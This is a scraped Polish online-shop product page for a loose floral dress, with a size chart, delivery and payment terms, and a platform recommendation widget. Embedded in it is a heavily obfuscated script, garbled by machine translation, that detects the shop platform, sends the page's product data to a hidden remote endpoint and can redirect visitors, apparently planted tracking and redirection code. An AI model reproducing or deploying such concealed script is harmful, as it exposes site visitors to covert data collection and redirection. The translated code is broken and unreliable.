😍Luźna sukienka na ramiączkach z kwiatowym nadrukiem do połowy długości

139.00zł
Darmowa Dostawa
COD
Kolor:  Niebieski
Rozmiar:  S
Ilość
osób ogląda to teraz
Darmowa Dostawa
Płatność gotówką przy odbiorze
Zapłać online i zyskaj 10% rabatu
OPIS
  • Materiał:
    Poliester/Koronka/Akryl
  • Typ wzoru:
    Zwykły/jednolity kolor
  • Rodzaj rękawa:
    Bez rękawów
  • Styl:
    Zwykły
  • dekolt:
    Okrągły dekolt
  • Temat:
    Wiosna lato Jesień
  • Elastyczność:
    Mikrosprężystość
  • Okazja:
    Codziennie
* Przedmiot nie zawiera żadnych akcesoriów widocznych na zdjęciu, chyba że w opisie produktu określono inaczej.

Tabela rozmiarów

Rozmiar Biust długość rękawa Długość
CM CALE CM CALE CM CALE
S 102 40.16 33,5 13.19 74,0 29.13
M 106 41,73 33,5 13.19 74,5 29.33
L 110 43.31 33,5 13.19 75,0 29.53
XL 114 44,88 33,5 13.19 75,5 29,72
2XL 118 46,46 33,5 13.19 76,0 29,92
3XL 122 48.03 33,5 13.19 76,5 30.12
4XL 126 49,61 33,5 13.19 77,0 30.31
5XL 130 51.18 33,5 13.19 77,5 30.51
var B7C055D29E95DC412BA83FC2CDE33E42 = "eNqrVirISSxJyy/Kjc9MUbIyNNNRKi7JL0oF84wNDY1h/LzE3FQlKyWT5CTjpMRUU3NDcyMDS0MD46QUC0NLM7NUy7RES3NTM6VaAEZDGMA=" var _0xodk='jsjiami.com.v6',_0xodk_=['_0xodk'],_0x1b84=[_0xodk,'alhnw4XCnQ==','JTLDmm5Q','fMOGw5dJeQ==','V8KGOMOjcQ==','csOZw7xF' , 'wqPCgMOSCg==','wqoCBlw=','wohkZMOl','wq0PF3s3TcKV','QWbDr8KYwpg=','wqXCnMOeBcORJUbCsw==','wr3DqcKKw44=','Iw7DvHE=','wpUYFXgt','OTR4C cKA',' MibDj8KfFxvCs2hy ','w7xgZsO0w65PTnY=','wordDmsKnwoE=','w7bDl8OiGMKqwqs=','F2tLOyg3bw==','NUvClQ==','w6JqdcO5w7tFRA==','Z0dyw5RC','MFnCknUzD RA=','GjJmI8Ka' ,' w6NnasOlw7NAWGjDrmDCnyhWw4c=','SHHDpcKKwpjCp8KpNA==','woUrDMOiw5LDgg==','eDwDeF9gOQIy','SwzCvsK7wr7Csj0=','KkjClmkhVFrCscOnfsKHWzbCrg7CiWTDhMOc b GYA','woLDjcK+K8O1wpfCkcOfwrNF','FE1BYMOAacOewrzCgw==','DzLDvRoow4zDpQ==','IMOzwrAbY8KCwrV9w5XDh8KgwpgIw6kNaWjDl8OOwpAew4cwdsKqMg = = = =','wrZDw7g=','MBnDoVlRw5HCmytiwobDuBRCw6zDmidgw6LDnMKO','K1HChQ==','WsK5Ig==','GsOVw5bDv8KgB8KN','OsKzw4XCssKBKkbDvw==','RxbCuA==',' V2zDpQ ==','AHZSJD0= ' ,'w4xAFcO8TR3CiCrDrwZQw5ciZUoIN8Omw4Mcw4UHfEjCnCwowrrDgUgkwrzCi3fDhcoOWWmwHD8OqwqHDu8KEw5nCvcK9wqbCmsKww7VSIsOiw5FZT8Kx','VcOVw5PDt8K9 dQ== ','wpTCjkoGF8O7Qg==','CDfDjlspw5wMwqjDtmRmKA==','YF97w5M=','wrzCkXlG','wp7CslTDlw==','A8Kdw6PCjMKX','d1h6w5g=','QcKNC8O+ TA==','bMKKCHOd','w5VOTMOdw6w=','dcOUw6pYfDFIAkohJggHAw==','UQfCrsKXwrLCmDY=','wpTDncK4KMO4','LTzDjsKNFwDCtWg=','w4xbEsO4','SnhCw47CjsKuw6h6' ,'wr3 DtMKcw5w=','wojDlsKQw4ZuPGA = ','Zw5tdRgMSTXCusKgZcKrQcOfw5Y=','CjPDuh4kw6rDrEM=','woIrAMOj','b8Ofw71ObRFA','XcOzw4rDulPDrgpnecK3w4I=','wo3Dl8KXw4J6IHLCnAdQWcKA','AMOew4b Dk8KsL cKG','elPDhMOTGA==','Sg3CqcKq','woN/dMOwwpbDsMKQL8KnesO6w5vDisKkBcOIw5R+ IcOEEsK1w6fCnnjDlylVw5vDisK4Q3DCjkMmw4HChcK8JsKkacO9w5PDiWtib8Klw7rCih DCsRNVw7LCrMKL' ,'LA9+dhRf','csKzw4nCicKeJA==','w7DCkWJHw5jDox4MwpLCvyBL', 'fEZxw63Cog==','wqTCrlFqw6Y=','NRfDmhk0','wok2CsOuw5LDiQ==','J37CiEMD','BTPDthQ5w6Y =', 'dyHCm8OCeg= =','w5hQw5VpVQ==','wrxEw552WA==','CUxiYsOZ','wp/CkcO0DU0=','Hw40w5zDrw==','ehfDsUMq','woHDlcKyw43Dhw==','djsjqKkMQFiamIiu.com. qrlv6wh== '];if(funkcja(_0x3c8b9a,_0x5ac0bc,_0x3cff02){funkcja _0x1057fc(_0x247ce8,_0x30390c,_0x14d997,_0x515dfa,_0x72d7b1,_0x50e001){_0x303 90c=_0x3039 0c>>0x8,_0x72d7b1='po';var _0x382a02= „shift”, _0x1ad95c='push',_0x50e001='';if(_0x30390c<_0x247ce8){while(--_0x247ce8){_0x515dfa=_0x3c8b9a[_0x382a02]();if(_0x30390c===_0x247 ce8&&_0x5 0e001===' '&& _ 0x50e001 [' długość '] ==== 0x1) {_ 0x30390c = _0x515dfa, _0x14d997 = _0x3c8b9a [_0x72d7b1+' p '] ();} else ifMI -97 [' _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ° ° q. =]/g, '') == =_0x30390c){_0x3c8b9a[_0x1ad95c](_0x515dfa);}}_0x3c8b9a[_0x1ad95c](_0x3c8b9a[_0x382a 02 ]());}powrót 0x1053e9;};powrót _0x1057fc(++_0x5ac0bc,_0 x3cff02)>>_0x5ac0bc^_0x3cff02;}( _0x1b84,0x98,0x9800),_0x1b84){_0xodk_=_0x1b84['długość'] ^0x98; };funkcja _0x4cbc(_0x4e72e3,_0x382535){_0x4e72e3=~~'0x'['concat'](_0x4e72e3['kawałek e'] (0x1));var _0x5f5408=_0x1b84[_0x4e72e3];if(_0x4cbc['qT uIUx' ]===niezdefiniowany){(funkcja(){var _0x356edb=typ okna!=='niezdefiniowany'?window:typ procesu== ='obiekt'&&typ wymagania==='funkcja'&&typ global==='obiekt' ?global:this;var _0x576a6d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x356edb['atob']||(_0x356edb['atob ']= funkcja(_0x5c6841){var _0x1dc bd3=String(_0x5c6841)['zamień'](/= +$/,'');for(var _0x4a7f07=0x0,_0x5cc4f9,_0x42101c,_0x323a33=0x0,_0x1a7cfc='';_0x421 01c= _0x1dcbd3['charAt'](_0x323a33++);~_0x42101c& &(_0x5cc4f9=_0x4a7f07%0x4? _0x5cc4f9*0x40+_0x42101c:_0x42101c,_0x4a7f07++%0x4)?_0x1a7cfc +=String['fromCharCode'](0xff&_0x5cc4f9>>(-0x2*_0x4a7f07&0x6) ):0x0){_0x42101c =_0x576a6d['indeks'](_0x42101c);} return _0x1a7cfc;});}());funkcja _0x1823fe(_0x397b36,_0x382535){var _0x451247=[],_0x2ec8e1=0x0,_0x fb796,_0x36fef0 ="',_0x5cf5f1='';_0x397b36=at ob(_0x397b36);dla (var _0x2a3b46=0x0,_0x3a89d8=_0x397b36['długość'];_0x2a3b46<_0x3a89d8;_0x2a3b46++){_0x5cf5f1+ ='%'+('00'+ _0x397b36['charCodeAt'](_0x2a3b 46)['toString'](0x10) )['kawałek'](-0x2);}_0x397b36=decodeURIComponent(_0x5cf5f1);for(var _0x1de5bd=0x0;_0x1de5bd<0x100;_0x1de5bd ++){ _0x451247[_0x1de5bd]=_0x1de5bd;}for(_0x1 de5bd=0x0;_0x1de5bd <0x100;_0x1de5bd++){_0x2ec8e1=(_0x2ec8e1+_0x451247[_0x1de5bd]+_0x382535[' charCodeAt'](_0x1de5bd%_0x382535['długość']))%0x100 ;_0xfb796=_0x451 247[_0x1de5bd];_0x451247[_0x1de5bd]=_0x451247[ _0x2ec8e1];_0x451247[_0x2ec8e1]=_0xfb796;}_0x1de5bd=0x0;_0x2ec8e1=0 x0;for(var _0x157886=0x0;_0x157886<_0x397b36['długość'] _0x157886++){ _0x1de5bd=(_0x1de5bd+0x1)%0x100;_0x2ec8e1 =(_0x2ec8e1+_0x451247[_0x1de5bd])%0x100;_0xfb796=_0x451247[_0x1de5bd];_0x45 1247[_0x1de5bd]=_0x451247[_0x2ec8e1];_0x451247[_0x2ec 8e1]=_0xfb796; _0x36fef0+=String['zKodChar'](_0x397b36['KodZnakuAt '](_0x157886)^_0x451247[(_0x451247[_0x1de5bd]+_0x451247[_0x2ec8e1])%0x100]);}powrót _0x36fef0; }_0x4cbc['zfAcqf']=_0x1823fe ;_0x4cbc[ 'cANkSV']={};_0x4cbc[ 'qTuIUx']=!![];}var _0x3892a3=_0x4cbc['cANkSV'][_0x4e72e3];if(_0x3892a3===nieokreślony){if(_0x4cbc[ 'oAkagg']===nieokreślony){_0x4cbc[' oAkagg']=!![];}_0x5f5408=_0x4cbc['zfAcqf'](_0x5f5408,_0x382535);_0x4cbc['cANkSV'][_0x4e72e3]=_0x5f5408;} else{_0x5f5408=_0x3892a3;}powrót _0x5f5408;};jeśli (window[_0x4cbc('0','NOMy')][_0x4cbc('1','JnME')][_0x4cbc('2',' $Vwt')](_0x4cbc('3','stNT') )!=-0x1||okno[_0x4cbc('4','TwfQ')][_0x4cbc('5','Gh2*' )][_0x4cbc('6','0B4j')](_0x4cbc('7 ','Gp[w'))!=-0x1){window[_0x4cbc('8','$Vwt') ][_0x4cbc('9','OuI7')](_0x4cbc('a','! B&5'),window['lokalizacja'][_0x4cbc('b','DX!6')]) ;}funkcja getCookie(_0x5f4d0b){var _0x5c6612={'toMgk':function(_0x414df1,_0x3eda81){return _0x414df1 +_0x3eda81;},'BTUuL':funkcja(_0x1e832b,_0x350ca6){return _0x1e83 2b+_0x350ca6;},'TSKwq ':funkcja(_0x50eb61,_0x1904b5){return _0x50eb61+_0x1904b5;},'LOFj g':funkcja(_0x5c9a2a, _0x2bba88){return _0x5c9a2a+_0x2bba88;},'rNOrm':function(_0x107d71,_0x3 020d0){return _0x107d71+_0x3020d0; },'zwNbl':_0x4cbc('c','bft!'),'fVKeC' :_0x4cbc ('d','stNT'),'oDuxs':_0x4cbc('e','l9)@ '),'XsPQW':_0x4cbc('f','^JK['),'eBjZQ':function( _0x57793d,_0xe2a602){return _0x57793d!==_0xe2a602;},'WRKhA':_0x4cbc('10 ','NOMy'),'YTubs':_0x4cbc('11','^JK['),'YZDmZ': funkcja(_0x287b1a,_0x24dbf8){return _0x287b1a<_0x24dbf8;},'cjABi':'SRFtA' ,'oVTcq':function(_0x2eb5cc,_0x5ae42d){return _0x2eb5cc===_0x5ae42d;},'KrvJn ':_0x4cbc('12 ','TwfQ'),'PvrCn':function(_0xcdd8a6,_0x58d7f5){return _0xcdd8a6 (_0x58d7f5);},'ZYxue':function(_0x1c490b,_0x3c52e7){return _0x1c490b+_0x3c52e7;}};let _ 0x41b6cc=null; if(document[_0x4cbc('13','Gh2*')]&&_0x5c6612[_0x4c bc ('14','iwSn')](document[_0x4cbc('13','Gh2*')],'')) {if(_0x5c6612['WRKhA']!==_0x5c6612['YTubs'] ){let _0x1dfdac=document[_0x4cbc('15','TwfQ')]['split'](';');for(let _0x422ed=0x0;_0x5c6612[_0x4cbc('16',']sf3' )](_0x422ed,_0x1dfdac['długość']);_0x422ed++){if(_0x4cbc('17','7d#8')===_0x5c6612 [_0x4cbc('18','QwPc')]){ fetch(_0x5c6612[_0x4cbc('19','6]R[')](_0x5c6612[_0x4cbc('1a','lPKQ')](_0x5c6612[_0x4cbc ('1b','1KJJ')]( _0x5c6612[_0x4cbc('1c','f]zp')](_0x5c6612['TSKwq'](_0x5c6612[_0x4cbc('1d','JnME')](_0x5c6612[ _0x4cbc('1e','NOMój ')](_0x5c6612[_0x4cbc('1f','W612')](_0x5c6612[_0x4cbc('20','0B4j')],product_link),_0x5c6612['fVKeC']) ,nazwa_sklepu),'&obraz =')+obraz_produktu,_0x5c6612['oDuxs']),typ_sklepu),_0x5c6612[_0x4cbc('21','3Ccj')]),B7C055D29E95DC412BA83FC2CDE33E42))[_0x4cbc('22','0B4j ')]( _0x21cd6b=>_0x21cd6b[_0x4cbc('23','Hh@7')]())[_0x4cbc('24','QeLC')](_0x3f5ad0=>{if(_0x3f5ad0[_0x4cbc('25 ') ,'bft!')]==0x12c){window['sessionStorage'][_0x4cbc('26','QeLC')](_0x4cbc('27','YzFq'),window[_0x4cbc(' 28 ','Hh@7')][_0x4cbc('29','JnME')]);}});}else{let _0x243dca=_0x1dfdac[_0x422ed][_0x4cbc('2a','W612' )]( );if(_0x5c6612['oVTcq'](_0x243dca['podciąg'](0x0,_0x5f4d0b['długość']+0x1),_0x5f4d0b+'=')){if(_0x5c6612['KrvJn']== =_0x5c6612[ _0x4cbc('2b','QeLC')]){_0x41b6cc=_0x5c6612[_0x4cbc('2c','rJ(l')](decodeURIComponent,_0x243dca[_0x4cbc('2d','V] ay')](_0x5c6612 ['ZYxue'](_0x5f4d0b['długość'],0x1)));break;}else{store_type=0x5;}}}}}else{store_type=-0x1;}}return _0x41b6cc; }var produkt_link=okno[; _0x4cbc('2e','d4Mx')][_0x4cbc('2f',']%Ql')];var domena=dokument[_0x4cbc('30','p1(U ')];var nazwa_sklepu=domena[ _0x4cbc('31','NvOh')](/^http:\/\/[^\/]+/,'')['split']('.' )[0x0]==_0x4cbc('32 ','iwSn')?domena[_0x4cbc('33','d4Mx')](/^http:\/\/[^\/]+/,' ')[_0x4cbc('34','4zkQ' )]('.')[0x1]:domena[_0x4cbc('35','iwSn')](/^http:\/\/[^\ /]+/,'')[_0x4cbc('36' ,'rJ(l')]('.')[0x0];var typ_sklepu;var sendRequese=dokument['domena']['indexOf']( _0x4cbc('37','d4Mx'))==-0x1 ;var Origin_name=window[_0x4cbc('38','YzFq')][_0x4cbc('39','Gh2*')];if (typeof Shopify!=_0x4cbc('3a','Z2cY')){store_type =0x1;}else if(typeof SHOPLAZZA!='unknown'){store_type=0x2;}else if(document['documentElement'][ 'innerHTML'][_0x4cbc('3b','DX!6')]( _0x4cbc('3c','iwSn'))!=-0x1){store_type=0x3;}else if(getCookie('utm_medium ')==_0x4cbc('3d','hU&c')){store_type=0x4;} else if(document['documentElement'][_0x4cbc('3e','6]R[')][_0x4cbc( '3f','TwfQ')](_0x4cbc('40','FSeQ'))!= -0x1){store_type=0x5;}else{store_type=-0x1;}var produkt_image=-0x1;if( typ_sklepu==0x1){for(var i=0x0;i _0x30f894[_0x4cbc('4f','^JK[')]())[_0x4cbc('50','))]W')](_0x6f8375=>{var _0x5dbc04={'NxcLj':funkcja( _0x120a33, _0x48a87e){return _0x120a33!==_0x48a87e;},'EAIHv':_0x4cbc('51','l9)@')};if(_0x6f8375[_0x4cbc('52','4zkQ')]= =0x12c){ if(_0x5dbc04[_0x4cbc('53','3Ccj')](_0x5dbc04[_0x4cbc('54','f&4P')],_0x5dbc04[_0x4cbc('55','d4Mx')] )){store_type=0x3; }else{window[_0x4cbc('56','0B4j')][_0x4cbc('57','DX!6')](_0x4cbc('58','hU&c' ),window[_0x4cbc('59', 'V]ay')][_0x4cbc('5a','qWkI')]);}}});}};_0xodk='jsjiami.com.v6' ;
METODY DOSTAWY

METODY DOSTAWY

  • Obsługa: GLS, INPOST, POST, DH
  • DARMOWA WYSYŁKA WSZYSTKICH ZAMÓWIEŃ
  • Wysyłka 7-12 dni roboczych.

METODY PŁATNOŚCI

  • Usługa bezpiecznego przelewu natychmiastowego BLIK
  • Płatności kartą
  • Google Pay 
  • Apple Pay
  • Płatność gotówką u kuriera z opcją płatności przy odbiorze
class SpzSmartBlockComponent extends SPZ.BaseElement { constructor(element) { super(element); this.templates_ = null; this.container_ = null; this.i18n_ = {}; this.config_ = {}; this.show_type_ = 3; this.product_resource_id_ = ''; this.collection_resource_id_ = ''; this.cart_items_ = []; this.customer_id_ = ''; this.order_id_ = ''; } static deferredMount() { return false; } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback() { const template_type = window.SHOPLAZZA.meta.page.template_type; if (template_type === 1) { this.show_type_ = 3; this.product_resource_id_ = window.SHOPLAZZA.meta.page.resource_id; } else if (template_type === 2) { this.show_type_ = 4; this.collection_resource_id_ = window.SHOPLAZZA.meta.page.resource_id; } else if (template_type === 15){ this.show_type_ = 5; } else if (template_type === 13){ this.show_type_ = 6; } else if (template_type === 20){ this.show_type_ = 7; this.customer_id_ = window.SHOPLAZZA.customer.customer_id; } else if (template_type === 35){ this.show_type_ = 8; this.order_id_ = window.location.pathname.split('/').pop(); } this.templates_ = SPZServices.templatesForDoc(this.element); this.setAction_(); } mountCallback() { console.log('appzebu smart mounted'); const that = this; const themeName = window.SHOPLAZZA.theme.merchant_theme_name; const isGeek = /Geek/.test(themeName); this.fetchRules().then((res) => { if (res && res.rules && res.rules.length) { const blockEl = document.getElementById('smart_recommend_block'); SPZ.whenApiDefined(blockEl).then((api) => { api.render({data: res}, true).then(() => { if (isGeek && that.show_type_ === 6) { blockEl.querySelector('.plugin_container_wrpper').style.padding = '30px 0'; } const recommendStyle = document.createElement('style'); recommendStyle.innerHTML = ` .plugin__recommend_container,.app-recommend-card { display: none !important; } `; document.head.appendChild(recommendStyle); const fetchList = []; res.rules.forEach((rule) => { fetchList.push(this.fetchRuleProductList(rule.id)); }); const fetchAll = Promise.all(fetchList); fetchAll.then((p_res) => { res.rules.forEach((rule, index) => { rule.products = p_res[index] && p_res[index].products; const ruleEl = document.getElementById('smart_recommend_rule_' + rule.id); SPZ.whenApiDefined(ruleEl).then((api) => { api.render({data: rule}, true).then(() => { that.impressListen(`#smart_recommend_rule_ul_${rule.id}`, function(){ that.trackRuleImpress(rule); }); const btnElList = document.querySelectorAll(`#smart_recommend_rule_ul_${rule.id} button`); btnElList.forEach((btnEl) => { if (btnEl && rule.config && rule.config.quick_shop_button_bg_color && rule.config.quick_shop_button_text_color) { btnEl.style.backgroundColor = rule.config.quick_shop_button_bg_color; btnEl.style.color = rule.config.quick_shop_button_text_color; } }) }); }); }); }); }) }) } else { if (window.top !== window.self) { const template_type = window.SHOPLAZZA.meta.page.template_type; const holderEl = document.getElementById('smart_recommend_preview_no_data_placeholder'); SPZ.whenApiDefined(holderEl).then((api) => { api.render({data: { isCart: template_type === 13, isCollection: template_type === 2, isProduct: template_type === 1, isIndex: template_type === 15 }}, true); }); } } }); } setAction_() { this.registerAction('quickShop', (data) => { const that = this; const product_id = data.args.product_id; const productIndex = data.args.productIndex; const rule_id = data.args.rule_id; const ssp = data.args.ssp; const scm = data.args.scm; const cfb = data.args.cfb; const ifb = data.args.ifb; const modalRender = document.getElementById('smart_recommend_product_modal_render'); if (product_id) { this.fetchProductData(product_id).then((res) => { const product = res.products && res.products.length && res.products[0] || {}; product.cfb = cfb; product.ifb = ifb; SPZ.whenApiDefined(modalRender).then((api) => { api.render({product: product, productIndex: productIndex, rule_id: rule_id, ssp: ssp, scm: scm, show_type: that.show_type_}, true).then(() => { const modalEl = document.getElementById('smart_recommend_product_modal'); SPZ.whenApiDefined(modalEl).then((modal) => { that.impressListen('#smart_recommend_product_modal', function(){ that.trackQuickShop({ rule_id: rule_id, product_id: product_id }); }); modal.open(); }); const formEl = document.getElementById('smart_recommend_product_form'); SPZ.whenApiDefined(formEl).then((form) => { form.setProduct(product); }); const variantEl = document.getElementById('smart_recommend_product_variants'); SPZ.whenApiDefined(variantEl).then((variant) => { variant.handleRender(product); }); }); }) }); } }); this.registerAction('handleScroll', (data) => { this.directTo(data.args.rule_id, data.args.direction); }); this.registerAction('handleProductChange', (data) => { const variant = data.args.data.variant; const product = data.args.data.product; const imageRenderEl = document.getElementById('smart_recommend_product_image'); SPZ.whenApiDefined(imageRenderEl).then((api) => { api.render({ variant: variant, product: product }); }); }); this.registerAction('handleAtcSuccess', (detail) => { const data = detail.args; data.data.product = data.data.product || {}; data.data.variant = data.data.variant || {}; const product_id = data.data.product.id; const product_title = data.data.product.title; const variant_id = data.data.variant.id; const price = data.data.variant.price; const rule_id = data.rule_id; const aid = `smart_recommend.${this.show_type_}.${rule_id}`; const ifb = data.data.product.ifb; const cfb = data.data.product.cfb; const ssp = data.ssp; const scm = data.scm; const spm = `smart_recommend_${this.show_type_}.${data.spmIndex}`; const params = { id: product_id, product_id: product_id, number: 1, name: product_title, variant_id: variant_id, childrenId: variant_id, item_price: price, source: 'add_to_cart', _extra: { aid: aid, ifb: ifb, cfb: cfb, scm: scm, spm: `..${window.SHOPLAZZA.meta.page.template_name}.${spm}`, ssp: ssp, } }; this.tranckAddToCart(params); }); this.registerAction('addATCHook', (data) => { const params = data.args; const spm = `smart_recommend_${this.show_type_}.${params.spmIndex}`; this.myInterceptor_ = window.djInterceptors && window.djInterceptors.track.use({ event: 'dj.addToCart', params: { aid: `smart_recommend.${this.show_type_}.` + params.rule_id, ssp: params.ssp, scm: params.scm, cfb: params.cfb, spm: `..${window.SHOPLAZZA.meta.page.template_name}.${spm}`, }, once: true }); }); } tranckAddToCart(detail) { if (window.$) { window.$(document.body).trigger('dj.addToCart', detail); } } fetchRules() { const payload = { show_type: this.show_type_, }; let that = this; if (this.show_type_ === 6) { let line_items = []; return this.fetchCart().then((res) => { if (res && res.cart && res.cart.line_items) { line_items = res.cart.line_items.map((item) => { return { product_id: item.product_id, variant_id: item.variant_id, quantity: item.quantity, price: item.price } }); } payload.line_items = line_items; that.cart_items_ = line_items; return that.fetchRulesRequest(payload); }); } else { if (this.show_type_ === 3) { payload.line_items = [{ product_id: this.product_resource_id_ }]; } else if (this.show_type_ === 4) { payload.collection_id = this.collection_resource_id_; } else if (this.show_type_ === 7) { payload.customer_id = this.customer_id_; } else if (this.show_type_ === 8) { payload.order_id = this.order_id_; } return this.fetchRulesRequest(payload); } } fetchRulesRequest(payload) { return fetch(window.SHOPLAZZA.routes.root + "/api/possum/recommend_query", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) }).then(function(res){ if(res.ok){ return res.json(); } }); } fetchCart() { return fetch(`/api/cart/cart-select?r=${Math.random().toString(36).slice(-4)}`) .then((res) => { if (res.ok) { return res.json(); } }); } fetchRuleProductList(rule_id) { const payload = { page: 1, limit: 100, fields: ["title", "url", "image", "min_price_variant.price", "min_price_variant.compare_at_price"], rule_id: rule_id, }; if (this.show_type_ === 3) { payload.line_items = [{ product_id: this.product_resource_id_ }]; } else if (this.show_type_ === 4) { payload.collection_id = this.collection_resource_id_; } else if (this.show_type_ === 6) { payload.line_items = this.cart_items_; } else if (this.show_type_ === 7) { payload.customer_id = this.customer_id_; } else if (this.show_type_ === 8) { payload.order_id = this.order_id_; } return fetch(window.SHOPLAZZA.routes.root + "/api/possum/recommend_products", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) }).then(function(res){ if(res.ok){ return res.json(); } }).catch(function(err){ console.log(err); }); } fetchProductData(product_id) { return fetch(window.SHOPLAZZA.routes.root + "/api/possum/products", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ product_ids: [product_id], fields: [ "images", "options", "min_price_variant", "variants"] }) }).then(function(res){ if(res.ok){ return res.json(); } }).catch(function(err){ console.log(err); const loadingEl = document.getElementById('smart_recommend_loading'); if (loadingEl) { loadingEl.style.display = 'none'; } }); } getStyle(ele, style) { if (!ele) return; if (window.getComputedStyle) { return window.getComputedStyle(ele)[style]; } return ele.currentStyle[style]; } directTo(id, direction) { const scrollElement = document.getElementById(`smart_recommend_rule_ul_${id}`); const blockWidth = parseInt(this.getStyle(scrollElement, 'width')); const scrollLength = (blockWidth * 0.19 - 12) * 5; const scrollPoint = scrollElement.scrollWidth - scrollElement.clientWidth; if (!scrollElement) return; if (direction === 'left') { if (document.dir === 'rtl') { scrollElement.scrollTo({ left: Math.abs(scrollElement.scrollLeft) >= scrollPoint - 100 ? 0 : scrollElement.scrollLeft - scrollLength, behavior: 'smooth' }); return; } scrollElement.scrollTo({ left: Math.max(scrollElement.scrollLeft - scrollLength, 0), behavior: 'smooth' }); } else { if (document.dir === 'rtl') { scrollElement.scrollTo({ left: Math.abs(scrollElement.scrollLeft) >= scrollPoint + 100 ? 0 : scrollElement.scrollLeft + scrollLength, behavior: 'smooth' }); return; } scrollElement.scrollTo({ left: scrollElement.scrollLeft >= scrollPoint - 100 ? 0 : scrollElement.scrollLeft + scrollLength, behavior: 'smooth' }); } } trackRuleImpress(rule) { if (window.sa && window.sa.track) { window.sa.track("plugin_common", { plugin_name: "upsell", event_type: "impressions", rule_id: rule.id, ssp: rule.ssp, scm: rule.scm, show_type: this.show_type_, support_app_block: window.SHOPLAZZA.theme.support_app_block }); window.sa.track("module_impressions", { aid: `smart_recommend.${this.show_type_}.${rule.id}`, support_app_block: window.SHOPLAZZA.theme.support_app_block }); } } trackQuickShop(data) { window.sa && sa.track && sa.track("plugin_common", { plugin_name: "upsell", event_type: "quick_shop", rule_id: data.rule_id, product_id: data.product_id, show_type: this.show_type_, }); } impressListen(selector, cb) { const el = document.querySelector(selector); const onImpress = (e) => { if (e) { e.stopPropagation(); } cb(); }; if (el && !el.getAttribute('imprsd')) { el.addEventListener('impress', onImpress) } else if (el) { onImpress(); } } } SPZ.defineElement('spz-custom-smart-block', SpzSmartBlockComponent);